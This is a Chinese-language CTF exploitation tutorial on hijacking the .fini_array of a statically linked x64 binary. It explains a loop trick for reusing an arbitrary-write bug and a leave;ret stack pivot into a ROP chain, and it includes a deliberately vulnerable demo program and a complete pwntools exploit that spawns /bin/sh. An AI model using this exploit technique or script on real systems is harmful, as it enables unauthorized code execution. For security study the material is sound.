这篇文章源自pwnable.tw上的一道题目3x17，其中用到了fini_array劫持，比较有意思，于是写篇文章分析记录总结一下关于fini_array的利用方式~
0x0 背景
用gdb调试main函数的时候，不难发现main的返回地址是__libc_start_main
也就是说main并不是程序真正开始的地方，__libc_start_main是main的爸爸
然鹅，__libc_start_main也有爸爸，他就是_start
也就是Entry point程序的进入点啦，可以通过readelf -h查看：
ELF Header:
Magic: 7f 45 4c 46 02 01 01 03 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - GNU
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x401a60
Start of program headers: 64 (bytes into file)
Start of section headers: 835672 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 8
Size of section headers: 64 (bytes)
Number of section headers: 31
Section header string table index: 30
这是一个64位静态编译的ELF程序
其中，Entry point address: 0x401a60就是_start的地址：
.text:0000000000401A60 public start
.text:0000000000401A60 start proc near
.text:0000000000401A60 ; __unwind {
.text:0000000000401A60 xor ebp, ebp
.text:0000000000401A62 mov r9, rdx
.text:0000000000401A65 pop rsi
.text:0000000000401A66 mov rdx, rsp
.text:0000000000401A69 and rsp, 0FFFFFFFFFFFFFFF0h
.text:0000000000401A6D push rax
.text:0000000000401A6E push rsp
.text:0000000000401A6F mov r8, offset sub_402BD0 ; fini
.text:0000000000401A76 mov rcx, offset loc_402B40 ; init
.text:0000000000401A7D mov rdi, offset main
.text:0000000000401A84 db 67h
.text:0000000000401A84 call __libc_start_main
.text:0000000000401A8A hlt
.text:0000000000401A8A ; } // starts at 401A60
.text:0000000000401A8A start endp
64位程序通过寄存器来保存函数参数：
rdi - first argument rsi - second argument rdx - third argument rcx - fourth argument r8 - fifth argument r9 - sixth argument
0x1 __libc_start_main分析
对应_start的代码，可以发现__libc_start_main函数的参数中，有3个是函数指针：
rdi<-mainrcx<-__libc_csu_initr8<-__libc_csu_fini
不难想到，除main以外的这两位兄弟，一位在main开始执行前执行，一位在main执行完毕后执行
__libc_csu_fini函数
__libc_csu_fini就是在main执行完毕后执行的那位，这兄弟虽然只有短短几行指令，但是能利用的点却不少，他长这样：
pwndbg> x/20i 0x402bd0
0x402bd0 <__libc_csu_fini>: push rbp
0x402bd1 <__libc_csu_fini+1>: lea rax,[rip+0xb24e8] # 0x4b50c0
0x402bd8 <__libc_csu_fini+8>: lea rbp,[rip+0xb24d1] # 0x4b50b0
0x402bdf <__libc_csu_fini+15>: push rbx
0x402be0 <__libc_csu_fini+16>: sub rax,rbp
0x402be3 <__libc_csu_fini+19>: sub rsp,0x8
0x402be7 <__libc_csu_fini+23>: sar rax,0x3
0x402beb <__libc_csu_fini+27>: je 0x402c06 <__libc_csu_fini+54>
0x402bed <__libc_csu_fini+29>: lea rbx,[rax-0x1]
0x402bf1 <__libc_csu_fini+33>: nop DWORD PTR [rax+0x0]
0x402bf8 <__libc_csu_fini+40>: call QWORD PTR [rbp+rbx*8+0x0]
0x402bfc <__libc_csu_fini+44>: sub rbx,0x1
0x402c00 <__libc_csu_fini+48>: cmp rbx,0xffffffffffffffff
0x402c04 <__libc_csu_fini+52>: jne 0x402bf8 <__libc_csu_fini+40>
0x402c06 <__libc_csu_fini+54>: add rsp,0x8
0x402c0a <__libc_csu_fini+58>: pop rbx
0x402c0b <__libc_csu_fini+59>: pop rbp
0x402c0c <__libc_csu_fini+60>: jmp 0x48f52c <_fini>
下面先概括的说下这个函数可利用的点，在后面会详细分析
利用方式 - 栈迁移
首先，看下面这条指令：
0x402bd8: lea rbp,[rip+0xb24d1] # 0x4b50b0
rbp = 0x4b50b0，0x4b50b0是fini_array的首地址
这条指令相当于lea rbp,[fini_array]，因此，在这里配合gadget:
leave ; (mov rsp,ebp; pop rbp)
ret
便可以把__栈迁移__到fini_array（fini_array存储的函数指针，可能有__写权限__）
利用方式 - 控制流劫持
下面还有一条call指令：
0x402bf8: call QWORD PTR [rbp+rbx*8]
rbp即为fini_array，因此这里将调用fini_array中的函数
只要修改fini_array中的值，就可以实现__控制流的转移__啦（传说中的fini_array劫持）
这里分析的64位的静态编译程序，可见其中的__libc_csu_fini函数简直好用的不得了鸭，既可以完成__栈迁移__，又能够劫持__控制流__
动态链接的程序
__libc_csu_fini很短，并没有上述指令…但是也有类似fini_array的函数指针
0x2 fini_array分析
fini_array的地址可通过查看静态编译程序的section信息获得：
pwndbg> elfheader
0x400200 - 0x400224 .note.gnu.build-id
0x400224 - 0x400244 .note.ABI-tag
0x400248 - 0x400470 .rela.plt
0x401000 - 0x401017 .init
0x401018 - 0x4010d0 .plt
0x4010d0 - 0x48d630 .text
0x48d630 - 0x48f52b __libc_freeres_fn
0x48f52c - 0x48f535 .fini
0x490000 - 0x4a95dc .rodata
0x4a95dc - 0x4a95dd .stapsdt.base
0x4a95e0 - 0x4b3d00 .eh_frame
0x4b3d00 - 0x4b3da9 .gcc_except_table
0x4b5080 - 0x4b50a0 .tdata
0x4b50a0 - 0x4b50b0 .init_array
0x4b50a0 - 0x4b50e0 .tbss
0x4b50b0 - 0x4b50c0 .fini_array
0x4b50c0 - 0x4b7ef4 .data.rel.ro
0x4b7ef8 - 0x4b7fe8 .got
0x4b8000 - 0x4b80d0 .got.plt
0x4b80e0 - 0x4b9bf0 .data
0x4b9bf0 - 0x4b9c38 __libc_subfreeres
0x4b9c40 - 0x4ba2e8 __libc_IO_vtables
0x4ba2e8 - 0x4ba2f0 __libc_atexit
0x4ba300 - 0x4bba78 .bss
0x4bba78 - 0x4bbaa0 __libc_freeres_ptrs
其中0x4b50b0 - 0x4b50c0即.fini_array数组，其中存在两个函数指针：
pwndbg> x/2xg 0x4b50b0
0x4b50b0: 0x0000000000401b10 0x0000000000401580
pwndbg> x/i 0x0000000000401b10
0x401b10 <__do_global_dtors_aux>: cmp BYTE PTR [rip+0xb87e9],0x0
pwndbg> x/i 0x0000000000401580
0x401580 <fini>: mov rax,QWORD PTR [rip+0xb9b71]
array[0]->__do_global_dtors_aux
array[1]->fini
这两个函数都会在main执行完毕后执行，因此只要__覆盖这两个函数指针，即可实现控制流的劫持__
此外，静态链接的程序也有
PLT表和GOT表，也可以覆盖通过GOT中的函数指针实现控制流劫持
上述fini_array中的两个函数指针在__libc_csu_fini（上文说的那位兄弟）中被执行
执行的顺序是array[1]->array[0](后有详解)
0x3 一种好玩儿的利用方式
循环大法
一种比较好玩儿的操作：
- 把
array[0]的值覆盖为那位兄弟（__libc_csu_fini函数）的地址 - 把
array[1]的值覆盖为另一个函数地址，就叫他addrA吧
于是，main执行完毕后执行__libc_csu_fini，于是有意思的来了！
__libc_csu_fini先执行一遍array[1]:addrA，返回后再执行array[0]:__libc_csu_fini__libc_csu_fini先执行一遍array[1]:addrA，返回后再执行array[0]:__libc_csu_fini__libc_csu_fini先执行一遍array[1]:addrA，返回后再执行array[0]:__libc_csu_fini- …
看！连起来啦~ main->__libc_csu_fini->addrA->__libc_csu_fini->addrA-> ......
因吹斯汀~
详细过程
详细的过程如下：
0x402bd1 <__libc_csu_fini+1>: lea rax,[rip+0xb24e8] # 0x4b50c0
0x402bd8 <__libc_csu_fini+8>: lea rbp,[rip+0xb24d1] # 0x4b50b0
0x402bdf <__libc_csu_fini+15>: push rbx
0x402be0 <__libc_csu_fini+16>: sub rax,rbp
0x402be3 <__libc_csu_fini+19>: sub rsp,0x8
0x402be7 <__libc_csu_fini+23>: sar rax,0x3
rax = 0x4b50c0 - 0x4b50b0 = 0x10
rax = 0x10 >> 3 = 2
0x402bed <__libc_csu_fini+29>: lea rbx,[rax-0x1]
0x402bf1 <__libc_csu_fini+33>: nop DWORD PTR [rax+0x0]
0x402bf8 <__libc_csu_fini+40>: call QWORD PTR [rbp+rbx*8+0x0]
rbx = rax-1 = 1
call [rbp+rbx*8+0x0]即call array[1]即call addrA
0x402bfc <__libc_csu_fini+44>: sub rbx,0x1
0x402c00 <__libc_csu_fini+48>: cmp rbx,0xffffffffffffffff
0x402c04 <__libc_csu_fini+52>: jne 0x402bf8 <__libc_csu_fini+40>
addrA执行完毕后返回到0x402bfc
rbx = rbp - 1 = 0
rbx != -1，满足跳转条件
于是，程序控制流又回到了那位兄弟手中：
0x402bf8 <__libc_csu_fini+40>: call QWORD PTR [rbp+rbx*8+0x0]
此时执行的是call array[1]即call __libc_csu_fini（call自己个儿啊）
于是循环往复，只要array[0]中的__libc_csu_fini值不变，程序就会一直循环执行addrA
当然，将array[1]中的addrA改成其他的addrB、addrC也都会执行
想要终止循环，只需把array[0]中的__libc_csu_fini换掉即可
就这样，那位兄弟只要占住了array[0]这个坑，就可以让addrA无限次的执行下去啦
小结一下
-
x64静态编译程序，劫持fini_arrayarray[0]覆盖为__libc_csu_finiarray[1]覆盖为另一地址addrA
-
程序将循环执行
addrA -
终止条件为
array[0]不再为__libc_csu_fini
相当于：
while (array[0] == __libc_csu_fini){
addrA();
}
这其实是一种可以让漏洞被重复利用的方式，比如addrA中存在任意写一字节内存漏洞，通过上面这个循环就可以将漏洞放大，实现任意写多字节
0x4 ROP攻击
上述利用方式可以与ROP攻击相结合
虽说直接用one_gadget比较方便，但是有时还是需要用到ROP的…
栈迁移
由于劫持控制流的位置是在程序执行完毕后的fini_array中，因此在ROP攻击前，需要先进行__栈迁移__：
leave; ret相当于执行如下操作：
mov rsp, rbp(fini_array->rsp)pop rbp(fini_array->rbp)ret(fini_array+0x8->ret)
这里有两种栈迁移方法：
第一种：在array[1]处迁移栈（需迁移两次）
fini_array+0x0:(data)fini_array+0x8fini_array+0x8:(gadget)leave_retfini_array+0x10:rop chain
第二种：跳过array[1]，在array[0]处迁移栈
fini_array+0x0:(gadget)leave_retfini_array+0x8:(gadget)retfini_array+0x10:rop chain
这两种方法都可以达到栈迁移的目的，直接说比较难理解，待会实际调试一下就明白啦（下面有例子）
总之，向fini_array+0x10,fini_array+0x18...中依次布置gadget
构造好了ROP链，就可以完成ROP攻击啦~
举个栗子
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
char buf[30];
write(1,"addr:",5);
read(0,&buf,200);
int *addr = buf;
write(1,"data:",5);
read(0,*addr,24);
return 0;
}
$ gcc demo.c -no-pie --static -o demo
漏洞分析
很明显，存在任意写内存的漏洞，可以改写任意内存位置的连续24个字节。利用方式如下：
ru('addr:')
sl(p64(addr))
ru('data:')
se(p64(data1)+p64(data2)+p64(data3))
漏洞放大
24字节显然不够，于是可以用上文提到的循环大法：
array[0]->__libc_csu_fini
array[1]->main
让main函数多执行几次，这样就可以控制足够大的内存空间，往里面布置ROP链啦~
攻击思路
就这个栗子而言，ROP攻击的思路大概是这样：
- 利用任意写，劫持
fini_array - 循环执行
main，利用任意写，将ROP链布置到fini_array+0x10 - 终止循环，并将栈迁移到
fini_array+0x10执行ROP链
劫持fini_array+循环利用
改写fini_array的两个函数指针，开启循环大法：
array[0]->__libc_csu_fini
array[1]->main
ru('addr:')
sl(p64(fini_array))
ru('data:')
se(p64(libc_csu_fini)+p64(main))
布置ROP链
执行SYS_execve('/bin/sh',0,0)，需要完成以下寄存器的布局：
RAX 0x3b
RDI addr -> '/bin/sh'
RDX 0
RSI 0
对应的ROP链如下：
pop_rdi=0x00000000004016a6 # pop rdi ; ret
pop_rax=0x0000000000447bbc # pop rax ; ret
pop_rdx_rsi=0x000000000044a659 # pop rdx ; pop rsi ; ret
syscall = 0x0000000000402434 # syscall
bin_sh_addr=fini_array+0x50 # ropchain start at fini_array+0x10
ropchain = [p64(pop_rdi),p64(bin_sh_addr),
p64(pop_rax),p64(0x3b),
p64(pop_rdx_rsi),p64(0),p64(0),
p64(syscall),
"/bin/sh\x00"]
# write ropchain to fini_array
for i in range(len(ropchain)):
ru('addr:')
sl(p64(fini_array+0x10+i*8))
ru('data:')
se(ropchain[i])
跳出循环
布置完ROP链，就可以跳出循环了，改写fini_array中的函数指针，顺便准备栈迁移
array[0]->gadget:leave;ret
array[1]->gadget:ret
ru('addr:')
sl(p64(fini_array))
ru('data:')
se(p64(leave)+p64(ret)) # break loop and stack pivot
栈迁移
跳出循环后，通过leave_ret完成__栈迁移__，执行ROP链：
这里用的是上文中的第二种栈迁移方式：
fini_array+0x0:(gadget)leave_retfini_array+0x8:(gadget)retfini_array+0x10:rop chain
这是因为循环大法中的array[1]是main，main返回后将执行array[0]处的函数：
leave执行前：
► 0x401c29 <main+172> leave
0x401c2a <main+173> ret
↓
0x401016 <_init+22> ret
↓
0x4016a6 <init_cacheinfo+230> pop rdi
0x4016a7 <init_cacheinfo+231> ret
↓
0x447bbc <__open_nocancel+92> pop rax
pwndbg> x/10xg $rsp
0x7fff85f385c8: 0x0000000000402bfc 0x00000000004b50f8
0x7fff85f385d8: 0x0000000000000000 0x00000000004b50b0
0x7fff85f385e8: 0x0000000000402bfc 0x00000000004b50f0
0x7fff85f385f8: 0x0000000000000000 0x00000000004b50b0
0x7fff85f38608: 0x0000000000402bfc 0x00000000004b50e8
leave执行后，栈被迁移到fini_array+0x8，即array[1]，但是这里并不是ROP链的开始，因此需要在array[1]这里用只含ret一个指令的gadget，让控制流后移，进入到fini_array+0x10的ROP链中
0x401c29 <main+172> leave
► 0x401c2a <main+173> ret <0x401016; _init+22>
↓
0x401016 <_init+22> ret
↓
0x4016a6 <init_cacheinfo+230> pop rdi
0x4016a7 <init_cacheinfo+231> ret
↓
0x447bbc <__open_nocancel+92> pop rax
pwndbg> x/10xg $rsp
0x4b50b8: 0x0000000000401016 0x00000000004016a6
0x4b50c8: 0x00000000004b5100 0x0000000000447bbc
0x4b50d8: 0x000000000000003b 0x000000000044a659
0x4b50e8: 0x0000000000000000 0x0000000000000000
0x4b50f8: 0x0000000000402434 0x0068732f6e69622f
ROP链执行完毕后就会执行SYS_execve('/bin/sh',0,0)啦~
exp
最后，附上这个栗子的exp：
#!/usr/bin/python
#__author__:TaQini
from pwn import *
local_file = './pwn4'
local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # '../libc.so.6'
if len(sys.argv) == 1:
p = process(local_file)
libc = ELF(local_libc)
elif len(sys.argv) > 1:
if len(sys.argv) == 3:
host = sys.argv[1]
port = sys.argv[2]
else:
host, port = sys.argv[1].split(':')
p = remote(host, port)
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(p,cmd)
# info
# gadget
leave = 0x0000000000401c29 # leave ; ret
ret = 0x0000000000401016 # ret
pop_rdi=0x00000000004016a6 # pop rdi ; ret
pop_rax=0x0000000000447bbc # pop rax ; ret
pop_rdx_rsi=0x000000000044a659 # pop rdx ; pop rsi ; ret
syscall = 0x0000000000402434 # syscall
# elf, libc
fini_array = 0x4b50b0
libc_csu_fini = 0x0402BD0 # __libc_csu_fini
main = 0x0401B7D
bin_sh_addr=fini_array+0x50
ropchain = [p64(pop_rdi),p64(bin_sh_addr),
p64(pop_rax),p64(0x3b),
p64(pop_rdx_rsi),p64(0),p64(0),
p64(syscall),
"/bin/sh\x00"]
# do loop :write any value to any addr
ru('addr:')
sl(p64(fini_array))
ru('data:')
se(p64(libc_csu_fini)+p64(main))
# ropchain
for i in range(len(ropchain)):
ru('addr:')
sl(p64(fini_array+0x10+i*8))
ru('data:')
se(ropchain[i])
ru('addr:')
sl(p64(fini_array))
ru('data:')
# debug()
se(p64(leave)+p64(ret)) # break loop and stack pivot
p.interactive()
0x5 总结
以上就是如何利用fini_array部署、启动一次ROP攻击
为了方便说明，这篇文章中我用的是64位静态编译程序，没开启PIE保护，GOT表等函数指针也可以改写，但是这并不说明这种利用方式是有局限的。即使保护全开，不是静态编译，也可以通过同样的思路进行攻击，比如ACTF2020的fmt64，就是利用这种思路进行攻击的。传送门
近期例题
MidnightCTF2020-pwn6